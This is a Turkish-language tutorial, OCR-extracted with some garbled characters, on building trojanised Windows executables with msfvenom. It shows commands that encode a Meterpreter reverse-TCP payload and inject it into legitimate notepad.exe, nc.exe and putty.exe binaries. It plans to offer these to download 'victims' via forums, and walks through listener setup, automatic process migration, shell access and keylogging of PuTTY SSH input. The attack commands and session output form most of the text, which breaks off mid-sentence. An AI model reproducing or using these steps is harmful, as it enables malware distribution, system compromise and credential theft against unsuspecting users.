Msfvenom ile Viriislii Payload Olusturma ve Sosyal Miihendislik Yordamiyla Sizma

Msfpayload tool’u payload’lari belirlenen formatta (C, Ruby, Javascript,...) ¢iktilamaya, msfencode
tool’u ise payload ¢iktisini belirlenen encoding teknigi ile encode’lamaya yarar. Msfvenom ise bu
iki tool’un yapabildigi payload ¢iktilama ve encode’lama islemlerinin her ikisini birden yapabilen
tool’dur. Detayl aciklamalar icin bkz. http://www.includekarabuk.com/kategoriler/
cesitliSizmaTeknikleri/Metasploit-Detay-Bilgiler.php

Uygulama
(+) Birebir denenmistir ve basariyla uygulanmisgtir.

Bu uygulamada msfvenom ile sectigimiz bir metasploit framework payload’unu exe formatinda
ciktilayacagiz ve shikata_ga_nai encoding teknigiyle encode’layacagiz. Ardindan ilave edilmis -x
parametresiyle piyasada legal ve zararsiz olan uygulamalardan birinin exe’sini gosterecegiz ve -k
parametresiyle de bu legal / zararsiz yazilimin icerisine exe formatinda olusturdugumuz ve ardindan
encode’ladigimiz payload’u legal yazilimin ¢alismasi bozulmayacak sekilde enjekte edecegiz (Not:
Parametrelerin daha detayl aciklamasi kullanilirken verilecektir). Sonra ise bu payload’umuzu
hangi legal yazilimin sablonuyla olusturmugsak onun adiyla (6rn; “Microsoft Office 2018 Full
Tiirkce” gibi) ve palavralarla internete servis ettigimizi ve kurbanlarin da indirdigini varsayacagiz.
Ardindan payload’umuzu g¢alistiran her bir kurban sisteminde oturum elde edip sizma islemini
gerceklestirmis olacagiz.

Gereksinimler
Kali Linux 2018.1 (64-bit) // Saldirgan Sistem
Windows XP SP2 TR (32-bit) // Hedef Sistem 1
Windows 10 Enterprise (64-bit) [ Tubitak Laptop Workstation ] // Hedef Sistem 2
Windows Server 2012 R2 (64-bit) // Hedef Sistem 3

i) Sosyal Miihendislik ile Sizma Uygulamasi # Ornek 1

Bu denemede meterpreter payload’umuzu exe formatinda ¢iktilayip ardindan shikata_ga_nai ile
encode’ladiktan sonra “notepad.exe” adli programin icerisine enjekte edecegiz. Daha sonra dinleme
moduna gececegiz ve virtislii notepad uygulamamizi internette bir forum sitesine koydugumuzu
varsayacagiz. Ardindan kurbanlar teker teker bu viriislii uygulamayi sistemlerine indirecekler ve
calistirdiklarinda teker teker session’lar gelecek.

Not: notepad.exe uygulamasi Kali Linux’ta yer almadigindan Windows XP’nin sistem dosyalar1
icerisinde yer alan zararsiz notepad.exe uygulamasi kopyala yapistir suretiyle Kali’ye alinmigstir.
Kali Linux 2018:

/I Meterpreter payload’u encode’lanir ve sonra Notepad.exe’nin icine enjekte edilir.

> msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86

--platform windows -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -x Desktop/notepad.exe -k -0

Desktop/notepad_viruslu.exe

Cikti:



Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468

Payload size: 468 bytes

Final size of exe file: 111104 bytes

Saved as: Desktop/notepad_viruslu.exe

Parametre aciklamari;

P
-a

payload ismini alir
architecture (mimari 32 bit mi 64 bit mi) bilgisini alir

--platform payload’un calistirilacagi sistemin isletim sistemi tiir bilgisini alir

-e
-1

-b
-f
-X

-k

-0

encoding tekniginin ismini alir

encoding isleminin iterasyon sayisini alir

encoding sirasinda tiireyen gereksiz karakterlerin (bad char’larin) neler oldugu
bilgisini alir ve otomatize bir sekilde silerek payload’un boyutunu minimize eder
En son olusacak payload ¢iktisinin formatinin ne olacag bilgisini alir

Payload ciktisinin hangi zararsiz legal yazilimin sablonunda olacag bilgisini alir
Payload ciktisinin belirtilen zararsiz legal yazilimi sablonu icerisine enjekte
edildiginde legal yazilhhmin ¢alisirhgim stirdiirmesi (keep) direktifini verir

En son olusan ¢iktinin dosya ismi bilgisini alir

Olusan payload’un ismini notepad_viruslu.exe’den notepad.exe yapalim. Bdylece payload hazir.
Simdi dinleme moduna gecelim.

Kali Linux 2018;

// Dinleme moduna gegilir.

msfconsole

msf>use exploit/multi/handler

msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost <local IP>

msf>set Iport <local port>

msf>set AutoRunScript post/windows/manage/migrate
msf>set NAME explorer.exe

msf>set ExitOnSession false

msf>exploit -j

Cikti:

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 172.16.3.73:443



msf exploit(multi/handler) >

msfconsole komut aciklamalari;

AutoRunScript

NAME

ExitOnSession

(-) Uyan

Bu parametre ile mevcut modiiliimiiz calisirken ekstradan
otomatikmen bir modiiliin daha calisabilmesi saglanmaktadir.

Bu 6rnekte bir post-exploitation modiilii olan migrate modiilii
kullanilmistir. Bu modiiliin tercih edilmesinin nedeni kurbanlar viriislii
notepad.exe payload’unu ¢alistirdiklarinda gelen session’lar
notepad.exe process’i Omriine sahip olacaklardir ve bizim gelen
session sonrasl meterpreter komutu olan migrate ile session’1

manuel olarak meterpreter komutu migrate ile tagima islemimiz
sirasinda kurbanin énce davranip notepad.exe’yi kapatmasi ihtimali
vardir. Bu olasi durumda aldigimiz session’1 kaybetmis olacagimizdan
bu durumun 6niine olabildigince gecmek icin manuel yaptigimiz
migrate islemini otomatize bir sekilde yapmak daha avantajhidir. Bu
nedenle ekstradan calisacak modiil olarak migrate tercih edilmistir.

Bu parametre migrate modiiliiniin bir parametresidir. Migrate
modiiliiniin hedef sistemdeki hangi process’e tasima islemi yapilacagi
bilgisini alir. Bu 6rnekte explorer.exe process’i isim olarak konmustur.
Boylece session elde edilir edilmez migrate modiilii mevcut session’1
calistig1 process’ten ¢ok daha uzun 6miirlii olan explorer.exe
process’ine tagiyacaktir.

Bu parametre hedef bir sistemde session elde edildiginde mevcut
modiiliin ¢caligmasini (bu 6rnek i¢in dinleme moduna sokan
multi/handler modiiliiniin calismasini) durdurup durdurmayacagimizi
belirtmemizi saglar. Varsayilan olarak true oldugu icin birinci
session geldigi an bizi dinleme modundan ¢ikaracaktir ve diger
gelecek session’lar1 alamaz duruma sokacaktir. Biz bu uygulamada
birden fazla session alma iglemini yapacagimiz icin ExitOnSession
parametresini (yani Session Alindig1 Durumda Cikis Yap
parametresini) false yapacagiz. Boylece birinci session geldigi an
session’1 alacagiz ve dinleme modunda kalmaya devam edecegiz.
Ardindan gelecek session’lar ise dinleme modundan ¢ikmadan
sirasiyla alip birer birer stoklayacagiz.
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Payload’umuza sablon program olarak belirledigimiz notepad.exe bir problem {iretti.
multi/handler’imiz session’1 aldiginda migrate modiilii bir tiir loop’a girip siirekli session migrate
etme islemi yapmaya basladi. Bu ise bir diinya bozuk session elde edilmesine neden oldu
(Neredeyse yiizlerce...) Bunun muhtemel nedeni post-exploitation modiilii olan migrate modiiliiniin
kaynak kodlarinda temporary process olarak notepad.exe’nin belirtilmis olmasindandir. Biz
payload’umuzu notepad.exe olarak hazirladigimiz i¢in migrate modiilii temporary process olarak
kendinde taniml notepad.exe dolayisiyla migrate isleminde bir tiir kisir dongiiye girmekte. Bu



sorunu agsmak icin, migrate modiiliimiizii dongiiden kurtarmak igin kaynak kodundaki temporary
process ismi kismina “notepad.exe” yerine “cmd.exe” koyulmustur.

> gedit /usr/share/metasploit-framework/modules/post/windows/manage/migrate.rb

migrate.rb

# Creates a temp notepad.exe to migrate.

def create_temp_proc()
cmd ="cmd.exe"  # Onceden “notepad.exe” ydi.
proc = session.sys.process.execute(cmd, nil, 'Hidden' => true })
return proc.pid

end

Bu sekilde notepad.exe sablonu ile olusmus payload’umuz sorunsuz bir sekilde ¢calismistir.
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Simdi payload’u internete koyup kurbanlarin indirdigini varsayalim. Kurbanlar inen notepad.exe
programina cift tikladiklarinda Kali Linux 2018’de msfconsole arayiiziinde session’larin elde
edildigine dair ¢iktilar goriinecektir.

// Kurban sistemlerde tetiklenen payload’lar (notepad.exe’ler) oturumlari sirasiyla verir.
Gikt:
msf exploit(multi/handler) >

[*] Sending stage (179779 bytes) to 172.16.3.77

[*] Meterpreter session 1 opened (172.16.3.73:443 -> 172.16.3.77:1044) at 2018-11-14
01:21:08 -0500

[*] Session ID 1 (172.16.3.73:443 -> 172.16.3.77:1044) processing AutoRunScript
'post/windows/manage/migrate’

[*] Running module against PENTEST-WINXP

[*] Current server process: notepad.exe (2788)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 2884

[+] Successfully migrated to process 2884

[*] Sending stage (179779 bytes) to 172.16.3.105

[*] Meterpreter session 2 opened (172.16.3.73:443 -> 172.16.3.105:49159) at 2018-11-14
01:21:09 -0500

[*] Session ID 2 (172.16.3.73:443 -> 172.16.3.105:49159) processing AutoRunScript 'post/
windows/manage/migrate'

[*] Running module against WIN-VJ7UU9G4VTO

[*] Current server process: notepad.exe (812)



[*] Spawning notepad.exe process to migrate to
[+] Migrating to 772
[+] Successfully migrated to process 772

[*] Sending stage (179779 bytes) to 172.16.3.111
[*] Meterpreter session 3 opened (172.16.3.73:443 -> 172.16.3.111:5914) at 2018-11-14

01:21:10 -0500

[*] Session ID 3 (172.16.3.73:443 -> 172.16.3.111:5914) processing AutoRunScript
'post/windows/manage/migrate’

[*] Running module against SGELPENTESTO1

[*] Current server process: notepad.exe (1996)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 12892

[+] Successfully migrated to process 12892

(((( Bir kere ENTER lanir ))))

msf exploit(multi/handler) >  (((( Konsol araytiiziimiiz tekrar gelir )))))
Session’lar notepad.exe process’inden explorer.exe process’ine tasindiklarinda notepad.exe
process’i sonlanacagi icin kurbanlarin ekranindaki notepad penceresi otomatikmen birkag saniye
icerisinde kapanacaktir.
Migrate islemleri sonrasi session’lar1 siralayip herhangi birine girerek meterpreter payload’unun

sundugu imkanlar adedince zararli faaliyetlere girisebiliriz.

/I Meterpreter oturumlari elde edildikten sonra oturumlarla alakali islemlere baslanir.

msf exploit(multi/handler) > sessions // Elde edilen session’lar1 siralar
msf exploit(multi/handler) > sessions -i 4 // ID’si belirtilen session’a girilir
meterpreter > shell // Komut satir1 devralinir

C:\Users\Documents and Settings\Desktop> dir  // Hedef sistem dosyalar1 siralanir
C:\Users\Documents and Settings\Desktop> exit // Komut satirindan ¢ikilir

meterpreter > background // Meterpreter oturumu background a alinir
msf exploit(multi/handler) > // Dilenilen bagka session’a gecilir

ii) Sosyal Miihendislik ile Sizma Uygulamasi # Ornek 2

Bu denemede meterpreter payload’umuzu exe formatinda ¢iktilayip ardindan shikata_ga_nai ile
encode’ladiktan sonra gorsel arayiizii olmayan bir exe programin (“nc.exe”nin) icerisine enjekte
edecegiz. Daha sonra dinleme moduna gececegiz ve viriislii gorsel arayiizii olmayan exe
programimizi internette bir forum sitesine koydugumuzu varsayacagiz. Ardindan kurbanlar teker
teker bu virtiislii uygulamayi sistemlerine indirecekler ve calistirdiklarinda teker teker session’lar
gelecek.



Not: nc.exe icin Kali Linux 2018 ‘de /usr/share/windows-binaries/ dizini altinda bulunan nc.exe
binary’si kullanilmistir.

Kali Linux 2018;

/I Meterpreter payload’u encode’lanir ve sonra legal nc.exe’nin icine enjekte edilir.

> msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86
--platform windows -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -x /usr/share/windows-
binaries/nc.exe -k -o Desktop/nc_viruslu.exe

Cikti:

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468

Payload size: 468 bytes

Final size of exe file: 111104 bytes

Saved as: Desktop/nc_viruslu.exe

Parametre aciklamari;

-p payload ismini alir

-a architecture (mimari 32 bit mi 64 bit mi) bilgisini alir

--platform payload’un calistirilacagi sistemin isletim sistemi tiir bilgisini alir

-e encoding tekniginin ismini alir

-i encoding isleminin iterasyon sayisim alir

-b encoding sirasinda tiireyen gereksiz karakterlerin (bad char’larin) neler oldugu
bilgisini alir ve otomatize bir sekilde silerek payload’un boyutunu minimize eder

-f En son olusacak payload ¢iktisinin formatinin ne olacagi bilgisini alir

-X Payload ciktisinin hangi zararsiz legal yazilimin sablonunda olacag bilgisini alir

-k Payload ciktisinin belirtilen zararsiz legal yazilimi sablonu icerisine enjekte
edildiginde legal yazilhhmin ¢alisirhgin stirdiirmesi (keep) direktifini verir

-0 En son olusan ¢iktinin dosya ismi bilgisini alir

Olusan payload’un ismini nc_viruslu.exe’den nc.exe yapalim. Boylece payload hazir. Simdi 6nceki
dinleme modu ve session artiklarini sonlandiralim ve tekrar dinleme moduna gegelim.



Kali Linux 2018;

// Dinleme moduna gegilir.

msf>sessions -k 1,2,3 //ID’si 1, 2 ve 3 olan session’lar sonlanir.
msf>jobs -k 0 // 1ID’si 0 olan jobs (yani multi/handler) sonlanir.
msf>use exploit/multi/handler // Tekrar dinleme moduna ge¢cmek icin modiil secilir

msf>set payload windows/meterpreter/reverse_tcp

msf>set lhost <local IP>

msf>set Iport <local port>

msf>set AutoRunScript post/windows/manage/migrate

msf>set NAME explorer.exe

msf>set ExitOnSession false

msf>exploit -j // Dinleme moduna gegilir

Cikt:
[*] Exploit running as background job 1.

[*] Started reverse TCP handler on 172.16.3.73:443
msf exploit(multi/handler) >

msfconsole komut aciklamalari;

AutoRunScript Bu parametre ile mevcut modiiliimiiz calisirken ekstradan

NAME

otomatikmen bir modiiliin daha calisabilmesi saglanmaktadir.

Bu 6rnekte bir post-exploitation modiilii olan migrate modiilii
kullanilmistir. Bu modiiliin tercih edilmesinin nedeni kurbanlar viriislii
notepad.exe payload’unu ¢alistirdiklarinda gelen session’lar
notepad.exe process’i Omriine sahip olacaklardir ve bizim gelen
session sonrasl meterpreter komutu olan migrate ile session’1

manuel olarak meterpreter komutu migrate ile tagima islemimiz
sirasinda kurbanin énce davranip notepad.exe’yi kapatmasi ihtimali
vardir. Bu olasi durumda aldigimiz session’1 kaybetmis olacagimizdan
bu durumun 6niine olabildigince gecmek icin manuel yaptigimiz
migrate islemini otomatize bir sekilde yapmak daha avantajhidir. Bu
nedenle ekstradan calisacak modiil olarak migrate tercih edilmistir.

Bu parametre migrate modiiliiniin bir parametresidir. Migrate
modiiliiniin hedef sistemdeki hangi process’e tasima islemi yapilacagi
bilgisini alir. Bu 6rnekte explorer.exe process’i isim olarak konmustur.
Boylece session elde edilir edilmez migrate modiilii mevcut session’1
calistig1 process’ten ¢ok daha uzun 6miirlii olan explorer.exe
process’ine tagiyacaktir.

ExitOnSession Bu parametre hedef bir sistemde session elde edildiginde mevcut

modiiliin ¢caligmasini (bu érnek i¢in dinleme moduna sokan
multi/handler modiiliiniin calismasini) durdurup durdurmayacagimizi



belirtmemizi saglar. Varsayilan olarak true oldugu icin birinci
session geldigi an bizi dinleme modundan cikaracaktir ve diger
gelecek session’lar1 alamaz duruma sokacaktir. Biz bu uygulamada
birden fazla session alma iglemini yapacagimiz icin ExitOnSession
parametresini (yani Session Alindig1 Durumda Cikis Yap
parametresini) false yapacagiz. Boylece birinci session geldigi an
session’1 alacagiz ve dinleme modunda kalmaya devam edecegiz.
Ardindan gelecek session’lar ise dinleme modundan ¢ikmadan
sirasiyla alip birer birer stoklayacagiz.

Simdi payload’u internete koyup kurbanlarin indirdigini varsayalim. Kurbanlar inen nc.exe
programina c¢ift tikladiklarinda Kali Linux 2018’de msfconsole arayiiziinde session’larin elde
edildigine dair giktilar goriinecektir.

// Kurban sistemlerde tetiklenen payload’lar (nc.exe’ler) oturumlari sirasiyla verir.
Cikti:
msf exploit(multi/handler) >

[*] Sending stage (179779 bytes) to 172.16.3.77

[*] Meterpreter session 1 opened (172.16.3.73:443 -> 172.16.3.77:1044) at 2018-11-14
01:21:08 -0500

[*] Session ID 4 (172.16.3.73:443 -> 172.16.3.77:1044) processing AutoRunScript
'post/windows/manage/migrate’

[*] Running module against PENTEST-WINXP

[*] Current server process: notepad.exe (2788)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 2884

[+] Successfully migrated to process 2884

[*] Sending stage (179779 bytes) to 172.16.3.105

[*] Meterpreter session 2 opened (172.16.3.73:443 -> 172.16.3.105:49159) at 2018-11-14
01:21:09 -0500

[*] Session ID 5 (172.16.3.73:443 -> 172.16.3.105:49159) processing AutoRunScript 'post/
windows/manage/migrate'

[*] Running module against WIN-VJ7UU9G4VTO

[*] Current server process: notepad.exe (812)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 772

[+] Successfully migrated to process 772

[*] Sending stage (179779 bytes) to 172.16.3.111

[*] Meterpreter session 3 opened (172.16.3.73:443 -> 172.16.3.111:5914) at 2018-11-14
01:21:10 -0500

[*] Session ID 6 (172.16.3.73:443 -> 172.16.3.111:5914) processing AutoRunScript
'post/windows/manage/migrate’



[*] Running module against SGELPENTESTO01
[*] Current server process: notepad.exe (1996)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 12892

[+] Successfully migrated to process 12892

(((( Bir kere ENTER lanir ))))
msf exploit(multi/handler) >  (((( Konsol arayiiziimiiz tekrar gelir )))))

Session’lar nc.exe process’inden explorer.exe process’ine tasindiklarinda nc.exe process’i
sonlanacagi icin kurbanlarin ekranindaki nc.exe CMD ekrani otomatikmen birkag saniye icerisinde
kapanacaktir.

Migrate islemleri sonrasi session’lar1 siralayip herhangi birine girerek meterpreter payload’unun
sundugu imkanlar adedince zararli faaliyetlere girisebiliriz.

// Meterpreter oturumlari elde edildikten sonra oturumlarla alakali islemlere baglanir.

msf exploit(multi/handler) > sessions // Elde edilen session’lari siralar
msf exploit(multi/handler) > sessions -i 4 // ID’si belirtilen session’a girilir
meterpreter > shell // Komut satir1 devralinir

C:\Users\Documents and Settings\Desktop> dir  // Hedef sistem dosyalari siralanir
C:\Users\Documents and Settings\Desktop> exit // Komut satirindan ¢ikilir

meterpreter > background // Meterpreter oturumu background a alinir
msf exploit(multi/handler) > // Dilenilen basgka session’a gecilir

ii) Sosyal Miihendislik ile Sizma Uygulamas: # Ornek 3

Bu denemede meterpreter payload’umuzu exe formatinda ¢iktilayip ardindan shikata_ga_nai ile
encode’ladiktan sonra gorsel arayiizii olan bir exe programin (“putty.exe”nin) icerisine enjekte
edecegiz. Daha sonra dinleme moduna gececegiz ve viriislii gorsel arayiizii olan exe programimizi
internette bir forum sitesine koydugumuzu varsayacagiz. Ardindan kurbanlar teker teker bu virtislii
uygulamay1 sistemlerine indirecekler ve calistirdiklarinda teker teker session’lar gelecek.

Not: putty.exe resmi sitesi https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
adresinden temin edilmistir ve Kali linux 2018’e indirilmistir.
Kali Linux 2018:

// Meterpreter payload’u encode’lanir ve sonra legal putty.exe’nin icine enjekte edilir.

> msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86
--platform windows -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -x /usr/share/windows-



binaries/putty.exe -k -o Desktop/putty_viruslu.exe
Cikt:

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468

Payload size: 468 bytes

Final size of exe file: 111104 bytes

Saved as: Desktop/putty_viruslu.exe

Parametre aciklamari;

-p payload ismini alir

-a architecture (mimari 32 bit mi 64 bit mi) bilgisini alir

--platform  payload’un ¢alistirilacag sistemin isletim sistemi tiir bilgisini alir

-e encoding tekniginin ismini alir

-1 encoding isleminin iterasyon sayisini alir

-b encoding sirasinda tiireyen gereksiz karakterlerin (bad char’larin) neler oldugu
bilgisini alir ve otomatize bir sekilde silerek payload’un boyutunu minimize eder

-f En son olusacak payload ¢iktisinin formatinin ne olacag bilgisini alir

-X Payload ciktisinin hangi zararsiz legal yazilimin sablonunda olacag: bilgisini alir

-k Payload ciktisinin belirtilen zararsiz legal yazilimi sablonu icerisine enjekte
edildiginde legal yazilimin ¢alisirhgin siirdiirmesi (keep) direktifini verir

-0 En son olusan ¢iktinin dosya ismi bilgisini alir

Olusan payload’un ismini putty_viruslu.exe’den putty.exe yapalim. Boylece payload hazir. Simdi
onceki dinleme modu ve session artiklarin1 sonlandiralim ve tekrar dinleme moduna gecelim.

Kali Linux 2018:

// Dinleme moduna gegilir.

msf>sessions -k 4,5,6 // ID’si 4 , 5 ve 6 olan session’lar sonlanir.
msf>jobs -k 1 // ID’si 0 olan jobs (yani multi/handler) sonlanir.
msf>use exploit/multi/handler // Tekrar dinleme moduna ge¢cmek icin modiil segilir

msf>set payload windows/meterpreter/reverse_tcp

msf>set lhost <local P>

msf>set Iport <local port>

msf>set AutoRunScript post/windows/manage/migrate

msf>set NAME explorer.exe

msf>set ExitOnSession false

msf>exploit -j // Dinleme moduna gegilir



Cikti:

[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 172.16.3.73:443
msf exploit(multi/handler) >

msfconsole komut aciklamalari;

AutoRunScript

NAME

ExitOnSession

Bu parametre ile mevcut modiiliimiiz ¢alisirken ekstradan
otomatikmen bir modiiliin daha ¢alisabilmesi saglanmaktadir.

Bu 6rnekte bir post-exploitation modiilii olan migrate modiilii
kullanilmistir. Bu modiiliin tercih edilmesinin nedeni kurbanlar viriislii
notepad.exe payload’unu calistirdiklarinda gelen session’lar
notepad.exe process’i Omriine sahip olacaklardir ve bizim gelen
session sonrasl meterpreter komutu olan migrate ile session’1

manuel olarak meterpreter komutu migrate ile tagima islemimiz
sirasinda kurbanin énce davranip notepad.exe’yi kapatmasi ihtimali
vardir. Bu olasi durumda aldigimiz session’1 kaybetmis olacagimizdan
bu durumun 6niine olabildigince ge¢mek icin manuel yaptigimiz
migrate islemini otomatize bir sekilde yapmak daha avantajhidir. Bu
nedenle ekstradan ¢alisacak modiil olarak migrate tercih edilmistir.

Bu parametre migrate modiiliiniin bir parametresidir. Migrate
modiiliiniin hedef sistemdeki hangi process’e tagima islemi yapilacagi
bilgisini alir. Bu 6rnekte explorer.exe process’i isim olarak konmustur.
Boylece session elde edilir edilmez migrate modiilii mevcut session’1
calistig1 process’ten ¢ok daha uzun 6miirlii olan explorer.exe
process’ine tagiyacaktir.

Bu parametre hedef bir sistemde session elde edildiginde mevcut
modiiliin ¢calismasini (bu érnek icin dinleme moduna sokan
multi/handler modiiliiniin caligmasini) durdurup durdurmayacagimizi
belirtmemizi saglar. Varsayilan olarak true oldugu i¢in birinci
session geldigi an bizi dinleme modundan ¢ikaracaktir ve diger
gelecek session’lar1 alamaz duruma sokacaktir. Biz bu uygulamada
birden fazla session alma iglemini yapacagimiz i¢in ExitOnSession
parametresini (yani Session Alindig1 Durumda Cikis Yap
parametresini) false yapacagiz. Boylece birinci session geldigi an
session’1 alacagiz ve dinleme modunda kalmaya devam edecegiz.
Ardindan gelecek session’lari ise dinleme modundan ¢ikmadan
sirasiyla alip birer birer stoklayacagiz.

Simdi payload’u internete koyup kurbanlarin indirdigini varsayalim. Kurbanlar inen putty.exe
programina Gift tikladiklarinda Kali Linux 2018’de msfconsole arayiiziinde session’larin elde
edildigine dair ¢iktilar goriinecektir.



// Kurban sistemlerde tetiklenen payload’lar (putty.exe’ler) oturumlari sirasiyla verir.
Cikti:
msf exploit(multi/handler) >

[*] Sending stage (179779 bytes) to 172.16.3.77

[*] Meterpreter session 1 opened (172.16.3.73:443 -> 172.16.3.77:1044) at 2018-11-14
01:21:08 -0500

[*] Session ID 7 (172.16.3.73:443 -> 172.16.3.77:1044) processing AutoRunScript
'post/windows/manage/migrate’

[*] Running module against PENTEST-WINXP

[*] Current server process: notepad.exe (2788)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 2884

[+] Successfully migrated to process 2884

[*] Sending stage (179779 bytes) to 172.16.3.105

[*] Meterpreter session 2 opened (172.16.3.73:443 -> 172.16.3.105:49159) at 2018-11-14
01:21:09 -0500

[*] Session ID 8 (172.16.3.73:443 -> 172.16.3.105:49159) processing AutoRunScript 'post/
windows/manage/migrate'

[*] Running module against WIN-VJ7UU9G4VTO

[*] Current server process: notepad.exe (812)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 772

[+] Successfully migrated to process 772

[*] Sending stage (179779 bytes) to 172.16.3.111

[*] Meterpreter session 3 opened (172.16.3.73:443 -> 172.16.3.111:5914) at 2018-11-14
01:21:10 -0500

[*] Session ID 9 (172.16.3.73:443 -> 172.16.3.111:5914) processing AutoRunScript
'post/windows/manage/migrate’

[*] Running module against SGELPENTESTO01

[*] Current server process: notepad.exe (1996)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 12892

[+] Successfully migrated to process 12892

(((( Bir kere ENTER lanir ))))
msf exploit(multi/handler) >  (((( Konsol arayiiziimiiz tekrar gelir )))))
Session’lar putty.exe process’inden explorer.exe process’ine tasindiklarinda putty.exe process’i

sonlanacagi i¢in kurbanlarin ekranindaki putty yazilimi pencereesi otomatikmen birkag saniye
icerisinde kapanacaktir.



Migrate islemleri sonrasi session’lar1 siralayip herhangi birine girerek meterpreter payload’unun
sundugu imkanlar adedince zararli faaliyetlere girisebiliriz.

// Meterpreter oturumlar: elde edildikten sonra oturumlarla alakali islemlere baglanir.

msf exploit(multi/handler) > sessions // Elde edilen session’lar1 siralar
msf exploit(multi/handler) > sessions -i 4 // ID’si belirtilen session’a girilir
meterpreter > shell // Komut satir1 devralinir

C:\Users\Documents and Settings\Desktop> dir  // Hedef sistem dosyalar1 siralanir
C:\Users\Documents and Settings\Desktop> exit // Komut satirindan ¢ikilir

meterpreter > background // Meterpreter oturumu background a alinir
msf exploit(multi/handler) > // Dilenilen bagka session’a gecilir

Not:

Aslinda kurbanlarin ekraninda Putty.exe yaziliminin session migrate islemi sonucu otomatikmen
kapanmasi olay1 yerine kullaniciya putty yazilimini kullanma imkani verebiliriz. Yani migrate
islemi yapmayip kullanici ekraninda Putty’nin arayiiziinden putty’nin yeteneklerini sorunsuzca
kullanabilir. Bu arada arkada putty.exe process’inin ayr1 bir thread’i olarak galisan meterpreter
payload’umuz ise bize zararh faaliyetleri gerceklestirme imkani sunacaktir.

Putty yazilminin ekrandan kaybolmamasi, yani session migration isleminin yapilmamasi icin

AutoRunScript ve NAME parametrelerini unset etmek yeterlidir. ExitOnession parametresi ise
kalmahdir ki birden fazla makineden gelen session’larin her birini alabilelim.

// Dinleme moduna gegilir. ( Bu sefer otomatize migrate yapan modiil kullanilmaz )

Kali Linux 2018:

msf>sessions -k 7,8,9 // ID’si 7 , 8 ve 9 olan session’lar sonlanir.

msf>jobs -k 2 // ID’si 2 olan jobs (yani multi/handler) sonlanir.
msf>use exploit/multi/handler // Tekrar dinleme moduna ge¢cmek icin modiil secilir

msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost <local IP>
msf>set Iport <local port>
: AtoRERSCH i .
mst>set NAME-explererexe
msf>set ExitOnSession false
msf>exploit -j // Dinleme moduna gegilir

Gikt:

[*] Exploit running as background job 2.
[*] Started reverse TCP handler on 172.16.3.73:443



msf exploit(multi/handler) >

Putty.exe payload’u kurban sistemlerde calistirildiginda asagidaki session elde etme ciktilar ekrana
yansir:

// Kurban sistemlerde tetiklenen payload’lar (putty.exe’ler) oturumlari sirasiyla verir.
Cikti:
msf exploit(multi/handler) >

[*] Sending stage (179779 bytes) to 172.16.3.77
[*] Meterpreter session 1 opened (172.16.3.73:443 -> 172.16.3.77:1044) at 2018-11-14
01:21:08 -0500

[*] Sending stage (179779 bytes) to 172.16.3.105
[*] Meterpreter session 2 opened (172.16.3.73:443 -> 172.16.3.105:49159) at 2018-11-14
01:21:09 -0500

[*] Sending stage (179779 bytes) to 172.16.3.111
[*] Meterpreter session 3 opened (172.16.3.73:443 -> 172.16.3.111:5914) at 2018-11-14
01:21:10 -0500
(((( Bir kere ENTER lanir ))))
msf exploit(multi/handler) >  (((( Konsol araytiiziimiiz tekrar gelir )))))
Kurbanlarin ekraninda yer alan putty programi agik ve kullanimda iken biz érnegin girilen

tuslamalar1 (meterpreter’in keylogrecorder komutu gibi) log’layip bize gonderecek islemleri
gerceklestirip putty’ye girilen kritik mahiyetteki ssh tiirii bilgileri elde edebiliriz.

msf exploit(multi/handler) > sessions // Elde edilen session’lar1 siralar

msf exploit(multi/handler) > sessions -i 7 // ID’si belirtilen session’a girilir
meterpreter > run keylogrecorder /l Tus log’lamaya baslanir

meterpreter > background // Meterpreter oturumu background a alinir
msf exploit(multi/handler) > // Dilenilen bagka session’a gegilir

(*) Seri Bir Sekilde Pesisira Gelen Session’lar1 Yakalayamama Problemi Hk.

(oS VI SV NT NN NENINENENTNE NI NENIENENENTNENINENINENENT NPT NENENTNENT NPT NENENTNENINENENTNENTNENINENTNTNENTSENENTNENTNENTNENINTNENT SOV

(+) Birebir gozlemlenmistir ve ¢6ziim birebir uygulanip bagarili olunmustur.

Nadiren de olsa birden fazla sistemden seri bir sekilde ters kabuk baglantilar1 geldiginde bu
baglantilardan birini (veya birkacini) listener'in AutoRunScript'tindeki migrate modiilii nedeniyle
yakalayamadigi tespit edilmistir. Deneyimledigim iizere 3 kurban makinede pesisira seri bir sekilde
